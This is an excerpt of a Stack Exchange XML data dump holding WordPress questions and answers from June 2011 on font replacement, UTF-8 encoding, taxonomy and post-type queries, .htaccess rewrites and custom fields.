  <row Id="19393" PostTypeId="1" CreationDate="2011-06-07T08:10:38.273" Score="1" ViewCount="226" Body="&lt;p&gt;I'm using WP-Cufon for font replacements. It's adding extra cufon canvas out side of p tags in my page, which is seriously messing up my layout. The URl is this &lt;a href=&quot;http://doscasas.com.mx/dev/&quot; rel=&quot;nofollow&quot;&gt;http://doscasas.com.mx/dev/&lt;/a&gt; . But it shows alright in IE!!! Why is it happening? How can I solve it? I'm having same kind of problem with all-in-one cufon plugin too. &lt;/p&gt;&#xA;" OwnerUserId="5776" LastActivityDate="2011-06-07T17:01:15.760" Title="WP-Cufon adding extra space in my paragraphs in Firefox and Chrome" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;plugin-all-in-one-cufon&gt;" AnswerCount="2" />
  <row Id="19394" PostTypeId="2" ParentId="19393" CreationDate="2011-06-07T08:22:03.520" Score="3" ViewCount="" Body="&lt;p&gt;I think this is more a &lt;em&gt;Cufon&lt;/em&gt; problem than a &lt;em&gt;Wordpress&lt;/em&gt; one, you should check out the documentation and support at &lt;a href=&quot;http://cufon.shoqolate.com/&quot; rel=&quot;nofollow&quot;&gt;Cufon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-07T08:22:03.520" CommentCount="1" />
  <row Id="19395" PostTypeId="2" ParentId="16298" CreationDate="2011-06-07T08:34:35.693" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you should consider option C).&lt;br&gt;&#xA;Convert all accented characters to normal UTF-8 characters.&lt;br&gt;&#xA;So &lt;code&gt;EXPRESSÃO.jpg&lt;/code&gt; -&gt; &lt;code&gt;EXPRESSAO.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this would help you a lot, not only when it come sto coding and file systems, but also storing names / references in databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a function I use for removing accents. I found this solution somewhere on the web. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function sanitizeName($name)&#xA;  {&#xA;      $pattern = array(&quot;'é'&quot;, &quot;'è'&quot;, &quot;'ë'&quot;, &quot;'ê'&quot;, &quot;'É'&quot;, &quot;'È'&quot;, &quot;'Ë'&quot;, &quot;'Ê'&quot;, &quot;'á'&quot;, &quot;'à'&quot;, &quot;'ä'&quot;, &quot;'â'&quot;, &quot;'å'&quot;, &quot;'Á'&quot;, &quot;'À'&quot;, &quot;'Ä'&quot;, &quot;'Â'&quot;, &quot;'Å'&quot;, &quot;'ó'&quot;, &quot;'ò'&quot;, &quot;'ö'&quot;, &quot;'ô'&quot;, &quot;'Ó'&quot;, &quot;'Ò'&quot;, &quot;'Ö'&quot;, &quot;'Ô'&quot;, &quot;'í'&quot;, &quot;'ì'&quot;, &quot;'ï'&quot;, &quot;'î'&quot;, &quot;'Í'&quot;, &quot;'Ì'&quot;, &quot;'Ï'&quot;, &quot;'Î'&quot;, &quot;'ú'&quot;, &quot;'ù'&quot;, &quot;'ü'&quot;, &quot;'û'&quot;, &quot;'Ú'&quot;, &quot;'Ù'&quot;, &quot;'Ü'&quot;, &quot;'Û'&quot;, &quot;'ý'&quot;, &quot;'ÿ'&quot;, &quot;'Ý'&quot;, &quot;'ø'&quot;, &quot;'Ø'&quot;, &quot;'œ'&quot;, &quot;'Œ'&quot;, &quot;'Æ'&quot;, &quot;'ç'&quot;, &quot;'Ç'&quot;);&#xA;      $replace = array('e', 'e', 'e', 'e', 'E', 'E', 'E', 'E', 'a', 'a', 'a', 'a', 'a', 'A', 'A', 'A', 'A', 'A', 'o', 'o', 'o', 'o', 'O', 'O', 'O', 'O', 'i', 'i', 'i', 'I', 'I', 'I', 'I', 'I', 'u', 'u', 'u', 'u', 'U', 'U', 'U', 'U', 'y', 'y', 'Y', 'o', 'O', 'a', 'A', 'A', 'c', 'C');        &#xA;&#xA;      $name = preg_replace($pattern, $replace, $name);      &#xA;      return $name;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So maybe you can read all files, clean the names using this function, and save the files with new name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I gave up accents and I now convert all accents to HTML equvalant.So &lt;code&gt;Abaeté;&lt;/code&gt; is stored as &lt;code&gt;Abaet&amp;amp;eacute;&lt;/code&gt; in my DB.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-06-13T15:31:10.567" LastActivityDate="2011-06-13T15:31:10.567" CommentCount="2" />
  <row Id="19396" PostTypeId="1" CreationDate="2011-06-07T08:49:44.440" Score="0" ViewCount="61" Body="&lt;p&gt;I'm using an RSS feed importer. When i preview the feed, the special characters such as è,à and so on are throwing out gibberish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching on the WP.org forum I came across the suggestion to add the code below to the wp-config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the code hasn't made any difference at all. My DB is in utf-8 format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DB_CHARSET', 'utf8');           // force utf8&#xA;define('DB_COLLATE', 'utf8_general_ci');    // force collation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on this please? As I cannot add new tags (encoding/utf) putting this to the nearest available tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Defining 'gibberish'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;è is displayed as �&#xA;ì is displayed as �¬&#xA;and so on&lt;/p&gt;&#xA;" OwnerUserId="5411" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:14:04.233" LastActivityDate="2011-08-07T12:20:31.457" Title="Problem with UTF8. italian/russian characters" Tags="&lt;errors&gt;&lt;rss&gt;&lt;encoding&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="19397" PostTypeId="1" AcceptedAnswerId="19415" CreationDate="2011-06-07T09:01:22.893" Score="1" ViewCount="157" Body="&lt;p&gt;I have a custom taxonomy template page in my theme.  Essentially, when someone clicks on a term link into this taxonomy, I -ALWAYS- want to add a specific post-type to the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure how to do this, I've found some functions that are included in PHP 5.3 that seem like they might do it, but I have 5.2 installed on my host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I essentially want to take the current $wp_query, add 'post-type' =&gt; 'my-custom-post-type' and then continue on with $wp_query in my loop.  Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm probably over tired and over stressed and there's a much simpler way to do this and I just can't think of it =D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, Clearly my methodology here is WAY off.  Probably a direct result of being tired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did manage to find code to manipulate $wp_query to add what I wanted; but it did not give the desired result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _my_method(&amp;amp;$item, $key) {&#xA;    if ($key == 'post_type') {&#xA;        $item = 'backend_data';&#xA;    }&#xA;}&#xA;array_walk_recursive( $wp_query , '_my_method' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in the QUERY_VARS part of the array, now post_type has a value, backend_data.  Except that farther on in the $wp_query array I can still see it querying every post type available.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[request] =&amp;gt; SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts INNER JOIN &#xA;wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( &#xA;wp_term_relationships.term_taxonomy_id IN (35) ) AND wp_posts.post_type IN ('post', &#xA;'page', 'attachment', 'company', 'backend_data', 'ps_promotion') AND (wp_posts.post_status = 'publish' OR wp_posts.post_author = 1 AND wp_posts.post_status = 'private') GROUP BY &#xA;wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10 [posts] =&amp;gt; Array ( [0] =&amp;gt; &#xA;backend_data [1] =&amp;gt; stdClass Object ( [ID] =&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then the two posts its pulling which are in 'posts'... it does however list backend_data again before it starts pulling post information.  But I clearly don't know enough about the inner workings of wordpress and arrays to understand WTF it's doing at this point =D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT -----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, now I'm just convinced my brain has gone mushy and there has got to be a more wordpressy way to do this cause php array hacking doesn't do the trick =D  I tried throwing some wp_reset_query(); first before and then after my above function, and it still outputs the same thing with all post-types accounted for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I guess I added all this to my question for no reason :(&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditorDisplayName="" LastEditDate="2011-06-07T14:01:07.577" LastActivityDate="2011-06-07T15:15:09.667" Title="On Taxonomy Template page, want to add Post_Type" Tags="&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;template&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="19398" PostTypeId="2" ParentId="19375" CreationDate="2011-06-07T09:15:26.443" Score="2" ViewCount="" Body="&lt;p&gt;This should solve it &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16243/how-to-get-current-menu-item-title-as-variable/16337#16337&quot;&gt;How to get current-menu-item title as variable?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['wpse16243_title'] = $menu_item-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['wpse16243_title'] = $menu_item-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now you can use the global variable &lt;code&gt;$wpse16243_title&lt;/code&gt; to get the ID&lt;/p&gt;&#xA;" OwnerUserId="5973" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-06-07T12:25:15.773" LastActivityDate="2011-06-07T12:25:15.773" />
  <row Id="19399" PostTypeId="1" AcceptedAnswerId="19408" CreationDate="2011-06-07T09:41:38.320" Score="0" ViewCount="236" Body="&lt;p&gt;After spending most of the day looking for solutions and trying them out, I decided to explain my problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that this subject has been covered and as you will see I am using code that has been suggested here and over at ottopress, but I still cannot figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called 'review' (non-hierarchical)&#xA;I have a custom taxonomy called 'reviewcats' (hierarchical)&#xA;I have a whole bunch of terms under the taxonomy of which 3 are main and the rest children:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;featured&lt;/li&gt;&#xA;&lt;li&gt;applications (containing children)&lt;/li&gt;&#xA;&lt;li&gt;games (containing children)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On my homepage template I am first showing the latest review (custom post type) that has the term 'featured' from the 'reviewcats' taxonomy. That review also contains the terms 'applications' and a child thereof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Feature I would like to show the 10 most recent reviews (custom post type), &lt;strong&gt;but&lt;/strong&gt; not the one from above, the one with the term 'featured'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying with the code below (and many variations of it), but cannot get it right. Can anyone shed light on this dark matter for me please? Much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recentapps_query['tax_query'] = array(&#xA;                'relation' =&amp;gt; 'AND',&#xA;                array(&#xA;                    'post_type' =&amp;gt; 'review',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'posts_per_page' =&amp;gt; 10,&#xA;                ),&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'reviewcats',&#xA;                    'terms' =&amp;gt; array('featured'),&#xA;                    'field' =&amp;gt; 'slug',&#xA;                    'operator' =&amp;gt; 'NOT IN',&#xA;                ),&#xA;            );&#xA;            query_posts($recentapps_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if needed, the sandbox site is &lt;a href=&quot;http://senl.in/jOaalP&quot; rel=&quot;nofollow&quot;&gt;http://senl.in/jOaalP&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-06-07T10:10:12.743" LastActivityDate="2011-06-07T12:58:05.313" Title="show 10 most recent custom post types excluding the one(s) from specific custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;exclude&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19400" PostTypeId="2" ParentId="19393" CreationDate="2011-06-07T10:07:42.970" Score="1" ViewCount="" Body="&lt;p&gt;I used to use cufon until I found a better way of dealing with custom fonts. This issue you are having is a cufon problem not WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd look at using @font-face in CSS instead of replacement techniques. &lt;a href=&quot;http://www.fontsquirrel.com/&quot; rel=&quot;nofollow&quot;&gt;Font Squirrel&lt;/a&gt; is a good place to get fonts to use on your site and has a generator tool to make all the css code and different font formats for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this isn't a WP plugin but shouldn't be too hard to get this into your theme.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-07T17:01:15.760" LastActivityDate="2011-06-07T17:01:15.760" CommentCount="3" />
  <row Id="19401" PostTypeId="1" AcceptedAnswerId="19414" CreationDate="2011-06-07T10:10:14.383" Score="0" ViewCount="122" Body="&lt;p&gt;I am constructing a theme for Wordpress that uses PAGES for products for sale on a site. This Product will have properties like DESCRIPTION, PRICE that will be stored to custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it is possible to retrieve the values from the custom fields and forward them to a form which is stored in another wordpress page. This form is a request for quotation form that the user fills out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4474" LastEditorUserId="4474" LastEditorDisplayName="" LastEditDate="2011-06-07T12:56:35.330" LastActivityDate="2011-06-07T13:25:24.607" Title="How to retrive Custom Fields as Values for a Form field" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="19402" PostTypeId="1" AcceptedAnswerId="19403" CreationDate="2011-06-07T10:37:48.140" Score="0" ViewCount="148" Body="&lt;p&gt;I would like to create a visual recipe site, which lists how to make a dish in step by step through pictures.. Is it possible to create a custom page template where i can the following fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Dishname(title) 2.Introduction(Brief info) 3.Ingredients 4.upload photo input.. followed by add more pic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in wordpress, you have any effective ideas? please share :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of what i have in my mind &lt;a href=&quot;http://i.stack.imgur.com/rsWKg.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/rsWKg.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5985" LastEditorUserId="5985" LastEditorDisplayName="" LastEditDate="2011-06-07T11:19:56.140" LastActivityDate="2011-06-07T11:19:56.140" Title="I want to create a Visual Recipe site on WordPress, any suggestions or tips on how i can do it?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="19403" PostTypeId="2" ParentId="19402" CreationDate="2011-06-07T10:42:13.780" Score="0" ViewCount="" Body="&lt;p&gt;Short answer, yes Wordpress can do this sort of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a custom post type called &quot;Recepies&quot;, and a custom taxonomy called &quot;Ingredients&quot;. Everything else is already included in the default WP setup, &quot;Dishname&quot; would be your post title, &quot;Introduction&quot; can be the &quot;Excerpt&quot; field, and photos are handled by the media gallery.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-07T10:42:13.780" CommentCount="4" />
  <row Id="19404" PostTypeId="1" CreationDate="2011-06-07T11:47:42.383" Score="0" ViewCount="31" Body="&lt;p&gt;for my car site I use a plugin that create a table in wordpress named anteo_listings in wich are stored multiple fields like Manufacturer, Model, year, price, ect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I woul'd like to extract a list of manufacturer (audi, bmw, etc.) that have active posts and how many posts there are for they, for example -  Bmw (10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin don't use custom field for storage data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I not found any similar query in web. Can you help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: sorry for my english. I'm Italian&lt;/p&gt;&#xA;" OwnerUserId="5987" LastActivityDate="2011-06-07T11:47:42.383" Title="custom query on plugin data base" Tags="&lt;customization&gt;&lt;query&gt;" CommentCount="1" />
  <row Id="19405" PostTypeId="1" CreationDate="2011-06-07T12:28:28.683" Score="0" ViewCount="41" Body="&lt;p&gt;here is my wp &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /wordpress/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /wordpress/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I want combine the below rules into my wp &lt;code&gt;.htaccess&lt;/code&gt;. &lt;code&gt;new&lt;/code&gt; is a new page which I created in the wp admin panel and set the hyperlink make the URL looks like &lt;code&gt;http://localhost/wordpress/new&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Don't show directory listings for URLs which map to a directory.&#xA;##Options All -Indexes&#xA;&#xA;# Follow symbolic links in this directory.&#xA;##Options +FollowSymLinks&#xA;&#xA;# Customized error messages.&#xA;ErrorDocument 404 /new&#xA;&#xA;# Various rewrite rules.&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine on&#xA;&#xA;  # Rewrite current-style URLs of the form 'new?url=x'.&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ new?url=$1 [L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have easily add  &lt;code&gt;# Rewrite current-style URLs of the form 'new?url=x'.&lt;/code&gt; and &lt;code&gt;RewriteRule ^(.*)$ new?url=$1 [L,QSA]&lt;/code&gt; in wp &lt;code&gt;.htaccess&lt;/code&gt;, not work, even bronken all the links in wordpress. So how to do in right way? &lt;/p&gt;&#xA;" OwnerUserId="5988" LastActivityDate="2011-06-07T12:28:28.683" Title="need a help for modify .htaccess rule" Tags="&lt;htaccess&gt;&lt;rewrite-rules&gt;" />
  <row Id="19406" PostTypeId="1" CreationDate="2011-06-07T12:45:45.333" Score="0" ViewCount="69" Body="&lt;p&gt;I have a custom post type with some custom fields in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what i want to do is when i save a new OR edit an existing post in that post type, is to change custom fields from all the other posts of that custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with the update_post_meta, but i can't figure out on how to get the post ID's of all the other posts to update them all.&lt;/p&gt;&#xA;" OwnerUserId="5989" LastActivityDate="2011-06-07T13:18:12.533" Title="Edit multiple custom post types while saving a new or edited post" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;multiple&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="19407" PostTypeId="2" ParentId="19349" CreationDate="2011-06-07T12:54:19.273" Score="1" ViewCount="" Body="&lt;p&gt;This is not able to be changed through a filter. In WordPress 2.9.2 and lower, the setting can be changed in /wp-admin/options.php. The image_default_link_type field is set to &quot;file&quot; by default. If you set it to &quot;none&quot;, then scroll to the bottom and save, it will disable media links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option has been removed from options.php in WordPress 3. For versions 3.0 and higher you need to add the following to your theme's functions.php file or write it into a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; update_option('image_default_link_type','none');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Getting rid of the link affects all media. If you upload .zip, .pdf, music or other types of media that you want people to download from your site you will have to manually add links to these. There is currently an open ticket on the trac for this: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15924&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15924&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-07T12:54:19.273" CommentCount="1" />
  <row Id="19408" PostTypeId="2" ParentId="19399" CreationDate="2011-06-07T12:58:05.313" Score="0" ViewCount="" Body="&lt;p&gt;Firstly, your tax query is a little jumbled. The first nested array should actually be at the 'root' of your &lt;code&gt;query_posts()&lt;/code&gt; argument, with &lt;code&gt;tax_query&lt;/code&gt; as a key among them;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'post_type' =&amp;gt; 'review',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'reviewcats',&#xA;            'terms' =&amp;gt; array( 'featured' ),&#xA;            'field' =&amp;gt; 'slug',&#xA;            'operator' =&amp;gt; 'NOT IN',&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, forgive me if I'm mistaken, but I think your query could be a lot simpler - simply exclude the 'featured' review you've just grabbed;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;    'post_type' =&amp;gt; 'review',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post__not_in' =&amp;gt; array( $post-&amp;gt;ID ) // $post *should* be the featured review, since it was the last post queried/worked on &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-07T12:58:05.313" CommentCount="6" />
  <row Id="19409" PostTypeId="2" ParentId="19373" CreationDate="2011-06-07T13:01:14.577" Score="0" ViewCount="" Body="&lt;p&gt;Short answer : Yes its posible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;long answer: Not the best way to do waht you are trying to do, when i need static content to go along with taxonomy terms i use the terms description field and in case that i need even more i just add my extra custom fields to the taxonomy term, here is a nice tutorial &lt;a href=&quot;http://en.bainternet.info/2011/custom-taxonomies-extra-fields&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;add extra fields to WordPress Custom taxonomies&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this way the creation of the terms archive beacomes much more dynamic.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-07T13:01:14.577" CommentCount="3" />
  <row Id="19410" PostTypeId="1" AcceptedAnswerId="19417" CreationDate="2011-06-07T13:11:51.083" Score="0" ViewCount="45" Body="&lt;p&gt;I have simple function to show an image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function helloworld() {&#xA;    echo '&amp;lt;img src=&quot;'.$link.'&quot; alt=&quot;.$alt.&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to pass strings link and alt to the function something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php helloworld('link=www.google.com&amp;amp;alt=picture'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve something like that?&lt;/p&gt;&#xA;" OwnerUserId="4085" LastActivityDate="2011-06-07T13:48:49.457" ClosedDate="2011-06-07T13:57:34.333" Title="Pass strings to plugin function" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19411" PostTypeId="2" ParentId="19406" CreationDate="2011-06-07T13:13:09.943" Score="2" ViewCount="" Body="&lt;p&gt;here is how i would do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post','update_all_meta');&#xA;&#xA;function update_all_meta($post_id){&#xA;    // verify if this is an auto save routine. &#xA;    // If it is our form has not been submitted, so we dont want to do anything&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return;&#xA;    //check for post type&#xA;    if ( $post-&amp;gt;post_type != &quot;YOUR_CUSTOM_TYPE&quot; ) &#xA;        return;&#xA;    global $post;&#xA;    $tmp_post = $post;&#xA;    $args = array( &#xA;        'posts_per_page' =&amp;gt; -1,&#xA;        'post_type' =&amp;gt; 'YOUR_CUSTOM_TYPE',&#xA;        'post__not_in' =&amp;gt; (array)$post-&amp;gt;ID //skip current post&#xA;        );&#xA;&#xA;    $myposts = get_posts( $args );&#xA;    //loop over all custom posts and update the meta&#xA;    foreach( $myposts as $post ) {&#xA;        setup_postdata($post); &#xA;        update_post_meta($post-&amp;gt;ID,'meta_key',$meta_value);&#xA;    }&#xA;    $post = $tmp_post;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if the stored data is the same maybe use options api so you only update it one and you can use it for all posts.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-07T13:18:12.533" LastActivityDate="2011-06-07T13:18:12.533" />
  <row Id="19412" PostTypeId="2" ParentId="19386" CreationDate="2011-06-07T13:16:53.480" Score="0" ViewCount="" Body="&lt;p&gt;Javascript: &lt;a href=&quot;http://code.google.com/apis/feed/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php: &lt;a href=&quot;http://magpierss.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://magpierss.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-07T13:16:53.480" />
  <row Id="19413" PostTypeId="1" CreationDate="2011-06-06T10:55:10.837" Score="0" ViewCount="92" Body="&lt;p&gt;If i try to access my wordpress page using the native url structure i.e. for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mywebsite.com/?p=123&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am redirected to my homepage. It doesn't seem to be an htaccess issue for I tried without it as well. This is also causing some of the ajax requests to fail. It works fine if I go back to the default url scheme.&lt;/p&gt;&#xA;" OwnerUserId="6435" LastActivityDate="2011-08-08T00:20:47.960" Title="Wordpress permalink issue" Tags="&lt;php&gt;&lt;urls&gt;&lt;redirect&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19414" PostTypeId="2" ParentId="19401" CreationDate="2011-06-07T13:25:24.607" Score="0" ViewCount="" Body="&lt;p&gt;When generating the form all you need is the post id of the product pages and you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta&lt;/a&gt; function to retive the information about that product , so basically you just need to pass the product post id. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$price = get_post_meta($product_post_id,'price',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-07T13:25:24.607" CommentCount="3" />
  <row Id="19415" PostTypeId="2" ParentId="19397" CreationDate="2011-06-07T13:31:32.673" Score="4" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;pre_get_posts&lt;/code&gt; filter hook to check if you are on the taxonomy page and if so just add your custom post type to the query something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_type( $query ) {&#xA;    if ( $query-&amp;gt;is_tax('YOUR_TAXONOMY') ) {&#xA;        $query-&amp;gt;set( 'post_type', array('post','YOUR_CUSTOM_POST') );&#xA;    }&#xA;}&#xA;add_filter( 'pre_get_posts', 'add_my_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-07T15:15:09.667" LastActivityDate="2011-06-07T15:15:09.667" CommentCount="1" />
